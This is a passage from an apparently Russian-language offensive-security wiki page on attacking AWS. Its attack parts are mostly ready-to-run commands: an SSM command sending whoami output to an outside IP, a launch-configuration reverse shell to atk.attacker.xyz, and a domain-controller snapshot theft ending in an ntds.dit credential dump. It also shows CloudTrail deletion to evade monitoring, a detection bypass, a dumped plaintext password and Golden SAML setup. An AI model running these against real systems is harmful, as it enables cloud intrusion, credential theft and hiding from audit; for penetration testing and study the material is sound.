$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
